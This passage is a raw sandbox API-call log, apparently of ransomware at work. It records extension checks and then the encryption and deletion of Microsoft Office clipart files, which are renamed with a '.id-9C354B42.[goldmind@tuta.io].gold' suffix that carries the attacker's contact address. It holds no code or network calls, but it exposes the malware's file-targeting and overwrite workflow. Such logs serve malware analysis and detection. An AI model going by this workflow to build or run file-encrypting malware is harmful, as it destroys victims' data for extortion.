[0051.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.136] lstrlenW (lpString=".pdf") returned 4 [0051.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.136] lstrlenW (lpString=".xls") returned 4 [0051.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.136] lstrlenW (lpString=".xlsx") returned 5 [0051.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.136] lstrlenW (lpString=".ppt") returned 4 [0051.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.136] lstrlenW (lpString=".zip") returned 4 [0051.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.137] lstrlenW (lpString=".rar") returned 4 [0051.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".bz2") returned 4 [0051.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".7z") returned 3 [0051.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".dbf") returned 4 [0051.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".1cd") returned 4 [0051.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".jpg") returned 4 [0051.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".doc") returned 4 [0051.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".docx") returned 5 [0051.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.137] lstrlenW (lpString=".pdf") returned 4 [0051.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".xls") returned 4 [0051.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.137] lstrlenW (lpString=".xlsx") returned 5 [0051.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.137] lstrlenW (lpString=".ppt") returned 4 [0051.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".zip") returned 4 [0051.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.137] lstrlenW (lpString=".rar") returned 4 [0051.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".bz2") returned 4 [0051.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString=".7z") returned 3 [0051.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".dbf") returned 4 [0051.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.137] lstrlenW (lpString=".1cd") returned 4 [0051.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.138] lstrlenW (lpString=".jpg") returned 4 [0051.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.138] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.138] lstrlenW (lpString="BD09662_.WMF") returned 12 [0051.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.138] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=20554) returned 1 [0051.138] CloseHandle (hObject=0x220) returned 1 [0051.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0051.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.138] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.138] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.139] GetLastError () returned 0x0 [0051.139] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x504a, lpOverlapped=0x0) returned 1 [0051.301] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0051.302] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.302] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.302] SetEndOfFile (hFile=0x188) returned 1 [0052.236] CloseHandle (hObject=0x188) returned 1 [0052.237] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.237] SetEndOfFile (hFile=0x220) returned 1 [0052.237] CloseHandle (hObject=0x220) returned 1 [0052.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".doc") returned 4 [0052.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".docx") returned 5 [0052.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.511] lstrlenW (lpString=".pdf") returned 4 [0052.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".xls") returned 4 [0052.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.511] lstrlenW (lpString=".xlsx") returned 5 [0052.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.511] lstrlenW (lpString=".ppt") returned 4 [0052.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".zip") returned 4 [0052.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.511] lstrlenW (lpString=".rar") returned 4 [0052.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".bz2") returned 4 [0052.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".7z") returned 3 [0052.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".dbf") returned 4 [0052.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".1cd") returned 4 [0052.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".jpg") returned 4 [0052.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.511] lstrlenW (lpString=".doc") returned 4 [0052.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".docx") returned 5 [0052.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.511] lstrlenW (lpString=".pdf") returned 4 [0052.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.511] lstrlenW (lpString=".xls") returned 4 [0052.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.512] lstrlenW (lpString=".xlsx") returned 5 [0052.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.512] lstrlenW (lpString=".ppt") returned 4 [0052.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.512] lstrlenW (lpString=".zip") returned 4 [0052.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.512] lstrlenW (lpString=".rar") returned 4 [0052.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.512] lstrlenW (lpString=".bz2") returned 4 [0052.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.512] lstrlenW (lpString=".7z") returned 3 [0052.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.512] lstrlenW (lpString=".dbf") returned 4 [0052.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.512] lstrlenW (lpString=".1cd") returned 4 [0052.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0052.512] lstrlenW (lpString=".jpg") returned 4 [0052.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.512] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.512] lstrlenW (lpString="BL00098_.WMF") returned 12 [0052.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.908] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1012) returned 1 [0052.908] CloseHandle (hObject=0x208) returned 1 [0052.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0052.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.933] GetLastError () returned 0x0 [0052.933] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0052.934] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x400, lpOverlapped=0x0) returned 1 [0052.935] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.935] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.935] SetEndOfFile (hFile=0x1a0) returned 1 [0052.935] CloseHandle (hObject=0x1a0) returned 1 [0052.935] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.935] SetEndOfFile (hFile=0x208) returned 1 [0052.936] CloseHandle (hObject=0x208) returned 1 [0052.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0052.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.936] lstrlenW (lpString=".doc") returned 4 [0052.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.936] lstrlenW (lpString=".docx") returned 5 [0052.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.936] lstrlenW (lpString=".pdf") returned 4 [0052.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.936] lstrlenW (lpString=".xls") returned 4 [0052.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.936] lstrlenW (lpString=".xlsx") returned 5 [0052.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.936] lstrlenW (lpString=".ppt") returned 4 [0052.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.936] lstrlenW (lpString=".zip") returned 4 [0052.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.936] lstrlenW (lpString=".rar") returned 4 [0052.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.936] lstrlenW (lpString=".bz2") returned 4 [0052.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString=".7z") returned 3 [0052.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.937] lstrlenW (lpString=".dbf") returned 4 [0052.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.937] lstrlenW (lpString=".1cd") returned 4 [0052.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.937] lstrlenW (lpString=".jpg") returned 4 [0052.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.937] lstrlenW (lpString=".doc") returned 4 [0052.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString=".docx") returned 5 [0052.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.937] lstrlenW (lpString=".pdf") returned 4 [0052.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.937] lstrlenW (lpString=".xls") returned 4 [0052.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.937] lstrlenW (lpString=".xlsx") returned 5 [0052.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.937] lstrlenW (lpString=".ppt") returned 4 [0052.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.938] lstrlenW (lpString=".zip") returned 4 [0052.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.938] lstrlenW (lpString=".rar") returned 4 [0052.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.938] lstrlenW (lpString=".bz2") returned 4 [0052.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.938] lstrlenW (lpString=".7z") returned 3 [0052.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.938] lstrlenW (lpString=".dbf") returned 4 [0052.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.938] lstrlenW (lpString=".1cd") returned 4 [0052.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0052.938] lstrlenW (lpString=".jpg") returned 4 [0052.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.938] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.938] lstrlenW (lpString="BL00252_.WMF") returned 12 [0052.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.938] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4708) returned 1 [0052.938] CloseHandle (hObject=0x208) returned 1 [0052.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0052.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.939] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.939] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.939] GetLastError () returned 0x0 [0052.939] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1264, lpOverlapped=0x0) returned 1 [0052.940] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0052.941] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.941] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.941] SetEndOfFile (hFile=0x1a0) returned 1 [0052.941] CloseHandle (hObject=0x1a0) returned 1 [0052.941] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.941] SetEndOfFile (hFile=0x208) returned 1 [0052.942] CloseHandle (hObject=0x208) returned 1 [0052.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0052.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.942] lstrlenW (lpString=".doc") returned 4 [0052.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.942] lstrlenW (lpString=".docx") returned 5 [0052.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.943] lstrlenW (lpString=".pdf") returned 4 [0052.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".xls") returned 4 [0052.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.943] lstrlenW (lpString=".xlsx") returned 5 [0052.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.943] lstrlenW (lpString=".ppt") returned 4 [0052.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".zip") returned 4 [0052.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.943] 